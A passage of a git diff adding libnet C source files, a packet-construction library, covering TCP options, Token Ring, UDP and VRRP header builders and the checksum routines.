+ LIBNET_PBLOCK_TCPDATA);
+ /* swap pblocks to correct the protocol order */
+ libnet_pblock_swap(l, p->ptag, p_data->ptag);
+ }
+ else
+ {
+ /* update without setting this as the final pblock */
+ p_data->type = LIBNET_PBLOCK_TCPDATA;
+ p_data->ptag = ++(l->ptag_state);
+ p_data->h_len = payload_s;
+
+ /* Adjust h_len for checksum. */
+ p->h_len += payload_s;
+
+ /* data was added after the initial construction */
+ for (p_temp = l->protocol_blocks;
+ p_temp->type == LIBNET_PBLOCK_TCP_H ||
+ p_temp->type == LIBNET_PBLOCK_TCPO_H;
+ p_temp = p_temp->next)
+ {
+ libnet_pblock_insert_before(l, p_temp->ptag, p_data->ptag);
+ break;
+ }
+ /* The end block needs to have its next pointer cleared. */
+ l->pblock_end->next = NULL;
+ }
+
+ if (p_data->prev && p_data->prev->type == LIBNET_PBLOCK_TCPO_H)
+ {
+ libnet_pblock_swap(l, p_data->prev->ptag, p_data->ptag);
+ }
+ }
+ }
+ else
+ {
+ p_data = libnet_pblock_find(l, ptag_data);
+ if (p_data)
+ {
+ libnet_pblock_delete(l, p_data);
+ }
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag);
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_build_tcp_options(u_int8_t *options, u_int32_t options_s, libnet_t *l,
+libnet_ptag_t ptag)
+{
+ int offset, underflow;
+ u_int32_t i, j, n, adj_size;
+ libnet_pblock_t *p, *p_temp;
+ struct libnet_ipv4_hdr *ip_hdr;
+ struct libnet_tcp_hdr *tcp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ underflow = 0;
+ offset = 0;
+
+ /* check options list size */
+ if (options_s > LIBNET_MAXOPTION_SIZE)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): options list is too large %d\n", __func__, options_s);
+ return (-1);
+ }
+
+ adj_size = options_s;
+ if (adj_size % 4)
+ {
+ /* size of memory block with padding */
+ adj_size += 4 - (options_s % 4);
+ }
+
+ /* if this pblock already exists, determine if there is a size diff */
+ if (ptag)
+ {
+ p_temp = libnet_pblock_find(l, ptag);
+ if (p_temp)
+ {
+ if (adj_size >= p_temp->b_len)
+ {
+ offset = adj_size - p_temp->b_len;
+ }
+ else
+ {
+ offset = p_temp->b_len - adj_size;
+ underflow = 1;
+ }
+ }
+ }
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, adj_size, LIBNET_PBLOCK_TCPO_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ n = libnet_pblock_append(l, p, options, adj_size);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if (ptag && p->next)
+ {
+ p_temp = p->next;
+ while ((p_temp->next) && (p_temp->type != LIBNET_PBLOCK_TCP_H))
+ {
+ p_temp = p_temp->next;
+ }
+ if (p_temp->type == LIBNET_PBLOCK_TCP_H)
+ {
+ /*
+ * Count up number of 32-bit words in options list, padding if
+ * neccessary.
+ */
+ for (i = 0, j = 0; i < p->b_len; i++)
+ {
+ (i % 4) ? j : j++;
+ }
+ tcp_hdr = (struct libnet_tcp_hdr *)p_temp->buf;
+ tcp_hdr->th_off = j + 5;
+ if (!underflow)
+ {
+ p_temp->h_len += offset;
+ }
+ else
+ {
+ p_temp->h_len -= offset;
+ }
+ }
+ while ((p_temp->next) && (p_temp->type != LIBNET_PBLOCK_IPV4_H))
+ {
+ p_temp = p_temp->next;
+ }
+ if (p_temp->type == LIBNET_PBLOCK_IPV4_H)
+ {
+ ip_hdr = (struct libnet_ipv4_hdr *)p_temp->buf;
+ if (!underflow)
+ {
+ ip_hdr->ip_len += htons(offset);
+ }
+ else
+ {
+ ip_hdr->ip_len -= htons(offset);
+ }
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, adj_size,
+ LIBNET_PBLOCK_TCPO_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_token_ring.c b/libnet/src/libnet_build_token_ring.c
new file mode 100644
index 0000000..7db6cfc
--- /dev/null
+++ b/libnet/src/libnet_build_token_ring.c
@@ -0,0 +1,193 @@
+/*
+ * libnet
+ * libnet_build_token_ring.c - Token Ring (802.5) packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * Jason Damron <jsdamron@hushmail.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_token_ring(u_int8_t ac, u_int8_t fc, u_int8_t *dst, u_int8_t *src,
+u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_token_ring_hdr token_ring_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /* sanity check injection type if we're not in advanced mode */
+ if (l->injection_type != LIBNET_LINK &&
+ !(((l->injection_type) & LIBNET_ADV_MASK)))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): called with non-link layer wire injection primitive\n",
+ __func__);
+ p = NULL;
+ goto bad;
+ }
+
+ n = LIBNET_TOKEN_RING_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_TOKEN_RING_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&token_ring_hdr, 0, sizeof(token_ring_hdr));
+ token_ring_hdr.token_ring_access_control = ac;
+ token_ring_hdr.token_ring_frame_control = fc;
+ memcpy(token_ring_hdr.token_ring_dhost, dst, TOKEN_RING_ADDR_LEN);
+ memcpy(token_ring_hdr.token_ring_shost, src, TOKEN_RING_ADDR_LEN);
+ token_ring_hdr.token_ring_llc_dsap = dsap;
+ token_ring_hdr.token_ring_llc_ssap = ssap;
+ token_ring_hdr.token_ring_llc_control_field = cf;
+ memcpy(&token_ring_hdr.token_ring_llc_org_code, org, LIBNET_ORG_CODE_SIZE);
+ token_ring_hdr.token_ring_type = htons(type);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&token_ring_hdr,
+ LIBNET_TOKEN_RING_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_TOKEN_RING_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_autobuild_token_ring(u_int8_t ac, u_int8_t fc, u_int8_t *dst,
+u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type,
+libnet_t *l)
+{
+ u_int32_t n, h;
+ struct libnet_token_ring_addr *src;
+ libnet_pblock_t *p;
+ libnet_ptag_t ptag;
+ struct libnet_token_ring_hdr token_ring_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /* sanity check injection type if we're not in advanced mode */
+ if (l->injection_type != LIBNET_LINK &&
+ !(((l->injection_type) & LIBNET_ADV_MASK)))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): called with non-link layer wire injection primitive\n",
+ __func__);
+ p = NULL;
+ goto bad;
+ }
+
+ n = LIBNET_TOKEN_RING_H;
+ h = 0;
+ ptag = LIBNET_PTAG_INITIALIZER;
+
+ /* Token Ring and Ethernet have the same address size - so just typecast */
+ src = (struct libnet_token_ring_addr *) libnet_get_hwaddr(l);
+ if (src == NULL)
+ {
+ /* err msg set in libnet_get_hwaddr() */
+ return (-1);
+ }
+
+ /*
+ * Create a new pblock.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_TOKEN_RING_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&token_ring_hdr, 0, sizeof(token_ring_hdr));
+ token_ring_hdr.token_ring_access_control = ac;
+ token_ring_hdr.token_ring_frame_control = fc;
+ memcpy(token_ring_hdr.token_ring_dhost, dst, TOKEN_RING_ADDR_LEN);
+ memcpy(token_ring_hdr.token_ring_shost, src, TOKEN_RING_ADDR_LEN);
+ token_ring_hdr.token_ring_llc_dsap = dsap;
+ token_ring_hdr.token_ring_llc_ssap = ssap;
+ token_ring_hdr.token_ring_llc_control_field = cf;
+ memcpy(&token_ring_hdr.token_ring_llc_org_code, org, LIBNET_ORG_CODE_SIZE);
+ token_ring_hdr.token_ring_type = htons(type);
+
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&token_ring_hdr,
+ LIBNET_TOKEN_RING_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ return (libnet_pblock_update(l, p, h, LIBNET_PBLOCK_TOKEN_RING_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+/* EOF */
diff --git a/libnet/src/libnet_build_udp.c b/libnet/src/libnet_build_udp.c
new file mode 100644
index 0000000..19bfe5d
--- /dev/null
+++ b/libnet/src/libnet_build_udp.c
@@ -0,0 +1,111 @@
+/*
+ * $Id: libnet_build_udp.c,v 1.10 2004/01/21 19:01:29 mike Exp $
+ *
+ * libnet
+ * libnet_build_udp.c - UDP packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_udp(u_int16_t sp, u_int16_t dp, u_int16_t len, u_int16_t sum,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_udp_hdr udp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_UDP_H + payload_s; /* size of memory block */
+ h = len; /* header length (for cksum) */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_UDP_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&udp_hdr, 0, sizeof(udp_hdr));
+ udp_hdr.uh_sport = htons(sp); /* source port */
+ udp_hdr.uh_dport = htons(dp); /* destination port */
+ udp_hdr.uh_ulen = htons(h); /* total length of UDP packet*/
+ udp_hdr.uh_sum = (sum ? htons(sum) : 0);/* checksum */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&udp_hdr, LIBNET_UDP_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_UDP_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_vrrp.c b/libnet/src/libnet_build_vrrp.c
new file mode 100644
index 0000000..4fcf726
--- /dev/null
+++ b/libnet/src/libnet_build_vrrp.c
@@ -0,0 +1,117 @@
+/*
+ * $Id: libnet_build_vrrp.c,v 1.9 2004/01/21 19:01:29 mike Exp $
+ *
+ * libnet
+ * libnet_build_vrrp.c - VRRP packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_vrrp(u_int8_t version, u_int8_t type, u_int8_t vrouter_id,
+u_int8_t priority, u_int8_t ip_count, u_int8_t auth_type, u_int8_t advert_int,
+u_int16_t sum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_vrrp_hdr vrrp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_VRRP_H + payload_s;
+ h = LIBNET_VRRP_H + payload_s;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_VRRP_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&vrrp_hdr, 0, sizeof(vrrp_hdr));
+ vrrp_hdr.vrrp_v = version;
+ vrrp_hdr.vrrp_t = type;
+ vrrp_hdr.vrrp_vrouter_id = vrouter_id;
+ vrrp_hdr.vrrp_priority = priority;
+ vrrp_hdr.vrrp_ip_count = ip_count;
+ vrrp_hdr.vrrp_auth_type = auth_type;
+ vrrp_hdr.vrrp_advert_int = advert_int;
+ vrrp_hdr.vrrp_sum = (sum ? htons(sum) : 0);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&vrrp_hdr, LIBNET_VRRP_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_VRRP_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_checksum.c b/libnet/src/libnet_checksum.c
new file mode 100644
index 0000000..5b6f784
--- /dev/null
+++ b/libnet/src/libnet_checksum.c
@@ -0,0 +1,376 @@
+/*
+ * $Id: libnet_checksum.c,v 1.13 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet
+ * libnet_checksum.c - checksum routines
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+int
+libnet_in_cksum(u_int16_t *addr, int len)
+{
+ int sum;
+
+ sum = 0;
+
+ while (len > 1)
+ {
+ sum += *addr++;
+ len -= 2;
+ }
+ if (len == 1)
+ {
+ sum += *(u_int16_t *)addr;
+ }
+
+ return (sum);
+}
+
+int
+libnet_toggle_checksum(libnet_t *l, libnet_ptag_t ptag, int mode)
+{
+ libnet_pblock_t *p;
+
+ p = libnet_pblock_find(l, ptag);
+ if (p == NULL)
+ {
+ /* err msg set in libnet_pblock_find() */
+ return (-1);
+ }
+ if (mode == LIBNET_ON)
+ {
+ if ((p->flags) & LIBNET_PBLOCK_DO_CHECKSUM)
+ {
+ return (1);
+ }
+ else
+ {
+ (p->flags) |= LIBNET_PBLOCK_DO_CHECKSUM;
+ return (1);
+ }
+ }
+ else
+ {
+ if ((p->flags) & LIBNET_PBLOCK_DO_CHECKSUM)
+ {
+ (p->flags) &= ~LIBNET_PBLOCK_DO_CHECKSUM;
+ return (1);
+ }
+ else
+ {
+ return (1);
+ }
+ }
+}
+
+
+int
+libnet_do_checksum(libnet_t *l, u_int8_t *buf, int protocol, int len)
+{
+ /* will need to update this for ipv6 at some point */
+ struct libnet_ipv4_hdr *iph_p;
+ struct libnet_ipv6_hdr *ip6h_p;
+ int is_ipv6;
+ int ip_hl;
+ int sum;
+
+ is_ipv6 = 0; /* default to not using IPv6 */
+ sum = 0;
+ iph_p = NULL;
+ ip6h_p = NULL;
+
+ if (len == 0)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): header length can't be zero\n", __func__);
+ return (-1);
+ }
+
+ /*
+ * Figure out which IP version we're dealing with. We'll assume v4
+ * and overlay a header structure to yank out the version.
+ */
+ iph_p = (struct libnet_ipv4_hdr *)buf;
+ if (iph_p && iph_p->ip_v == 6)
+ {
+ ip6h_p = (struct libnet_ipv6_hdr *)buf;
+ is_ipv6 = 1;
+ ip_hl = 40;
+ }
+ else
+ {
+ is_ipv6 = 0;
+ ip_hl = iph_p->ip_hl << 2;
+ }
+
+ /*
+ * Dug Song came up with this very cool checksuming implementation
+ * eliminating the need for explicit psuedoheader use. Check it out.
+ */
+ switch (protocol)
+ {
+ /*
+ * Style note: normally I don't advocate declaring variables inside
+ * blocks of control, but it makes good sense here. -- MDS
+ */
+ case IPPROTO_TCP:
+ {
+ struct libnet_tcp_hdr *tcph_p =
+ (struct libnet_tcp_hdr *)(buf + ip_hl);
+
+#if (STUPID_SOLARIS_CHECKSUM_BUG)
+ tcph_p->th_sum = tcph_p->th_off << 2;
+ return (1);
+#endif /* STUPID_SOLARIS_CHECKSUM_BUG */
+#if (HAVE_HPUX11)
+ if (l->injection_type != LIBNET_LINK)
+ {
+ /*
+ * Similiar to the Solaris Checksum bug - but need to add
+ * the size of the TCP payload (only for raw sockets).
+ */
+ tcph_p->th_sum = (tcph_p->th_off << 2) +
+ (len - (tcph_p->th_off << 2));
+ return (1);
+ }
+#endif
+ tcph_p->th_sum = 0;
+ if (is_ipv6)
+ {
+ sum = libnet_in_cksum((u_int16_t *)&ip6h_p->ip_src, 32);
+ }
+ else
+ {
+ sum = libnet_in_cksum((u_int16_t *)&iph_p->ip_src, 8);
+ }
+ sum += ntohs(IPPROTO_TCP + len);
+ sum += libnet_in_cksum((u_int16_t *)tcph_p, len);
+ tcph_p->th_sum = LIBNET_CKSUM_CARRY(sum);
+ break;
+ }
+ case IPPROTO_UDP:
+ {
+ struct libnet_udp_hdr *udph_p =
+ (struct libnet_udp_hdr *)(buf + ip_hl);
+ udph_p->uh_sum = 0;
+ if (is_ipv6)
+ {
+ sum = libnet_in_cksum((u_int16_t *)&ip6h_p->ip_src, 32);
+ }
+ else
+ {
+ sum = libnet_in_cksum((u_int16_t *)&iph_p->ip_src, 8);
+ }
+ sum += ntohs(IPPROTO_UDP + len);
+ sum += libnet_in_cksum((u_int16_t *)udph_p, len);
+ udph_p->uh_sum = LIBNET_CKSUM_CARRY(sum);
+ break;
+ }
+ case IPPROTO_ICMP:
+ {
+ struct libnet_icmpv4_hdr *icmph_p =
+ (struct libnet_icmpv4_hdr *)(buf + ip_hl);
+
+ icmph_p->icmp_sum = 0;
+ if (is_ipv6)
+ {
+ sum = libnet_in_cksum((u_int16_t *)&ip6h_p->ip_src, 32);
+ sum += ntohs(IPPROTO_ICMP6 + len);
+ }
+ sum += libnet_in_cksum((u_int16_t *)icmph_p, len);
+ icmph_p->icmp_sum = LIBNET_CKSUM_CARRY(sum);
+ break;
+ }
+ case IPPROTO_IGMP:
+ {
+ struct libnet_igmp_hdr *igmph_p =
+ (struct libnet_igmp_hdr *)(buf + ip_hl);
+
+ igmph_p->igmp_sum = 0;
+ sum = libnet_in_cksum((u_int16_t *)igmph_p, len);
+ igmph_p->igmp_sum = LIBNET_CKSUM_CARRY(sum);
+ break;
+ }
+ case IPPROTO_GRE:
+ {
+ /* checksum is always at the same place in GRE header
+ * in the multiple RFC version of the protocol ... ouf !!!
+ */
+ struct libnet_gre_hdr *greh_p =
+ (struct libnet_gre_hdr *)(buf + ip_hl);
+ u_int16_t fv = ntohs(greh_p->flags_ver);
+ if (!(fv & (GRE_CSUM|GRE_ROUTING | GRE_VERSION_0)) ||
+ !(fv & (GRE_CSUM|GRE_VERSION_1)))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): can't compute GRE checksum (wrong flags_ver bits: 0x%x )\n", __func__, fv);
+ return (-1);
+ }
+ sum = libnet_in_cksum((u_int16_t *)greh_p, len);
+ greh_p->gre_sum = LIBNET_CKSUM_CARRY(sum);
+ break;
+ }
+ case IPPROTO_OSPF:
+ {
+ struct libnet_ospf_hdr *oh_p =
+ (struct libnet_ospf_hdr *)(buf + ip_hl);
+
+ oh_p->ospf_sum = 0;
+ sum += libnet_in_cksum((u_int16_t *)oh_p, len);
+ oh_p->ospf_sum = LIBNET_CKSUM_CARRY(sum);
+ break;
+ }
+ case IPPROTO_OSPF_LSA:
+ {
+ struct libnet_ospf_hdr *oh_p =
+ (struct libnet_ospf_hdr *)(buf + ip_hl);
+ struct libnet_lsa_hdr *lsa_p =
+ (struct libnet_lsa_hdr *)(buf +
+ ip_hl + oh_p->ospf_len);
+
+ lsa_p->lsa_sum = 0;
+ sum += libnet_in_cksum((u_int16_t *)lsa_p, len);
+ lsa_p->lsa_sum = LIBNET_CKSUM_CARRY(sum);
+ break;
+#if 0
+ /*
+ * Reworked fletcher checksum taken from RFC 1008.
+ */
+ int c0, c1;
+ struct libnet_lsa_hdr *lsa_p = (struct libnet_lsa_hdr *)buf;
+ u_int8_t *p, *p1, *p2, *p3;
+
+ c0 = 0;
+ c1 = 0;
+
+ lsa_p->lsa_cksum = 0;
+
+ p = buf;
+ p1 = buf;
+ p3 = buf + len; /* beginning and end of buf */
+
+ while (p1 < p3)
+ {
+ p2 = p1 + LIBNET_MODX;
+ if (p2 > p3)
+ {
+ p2 = p3;
+ }
+
+ for (p = p1; p < p2; p++)
+ {
+ c0 += (*p);
+ c1 += c0;
+ }
+
+ c0 %= 255;
+ c1 %= 255; /* modular 255 */
+
+ p1 = p2;
+ }
+
+#if AWR_PLEASE_REWORK_THIS
+ lsa_p->lsa_cksum[0] = (((len - 17) * c0 - c1) % 255);
+ if (lsa_p->lsa_cksum[0] <= 0)
+ {
+ lsa_p->lsa_cksum[0] += 255;
+ }
+
+ lsa_p->lsa_cksum[1] = (510 - c0 - lsa_p->lsa_cksum[0]);
+ if (lsa_p->lsa_cksum[1] > 255)
+ {
+ lsa_p->lsa_cksum[1] -= 255;
+ }
+#endif
+ break;
+#endif
+ }
+ case IPPROTO_IP:
+ {
+ iph_p->ip_sum = 0;
+ sum = libnet_in_cksum((u_int16_t *)iph_p, ip_hl);
+ iph_p->ip_sum = LIBNET_CKSUM_CARRY(sum);
+ break;
+ }
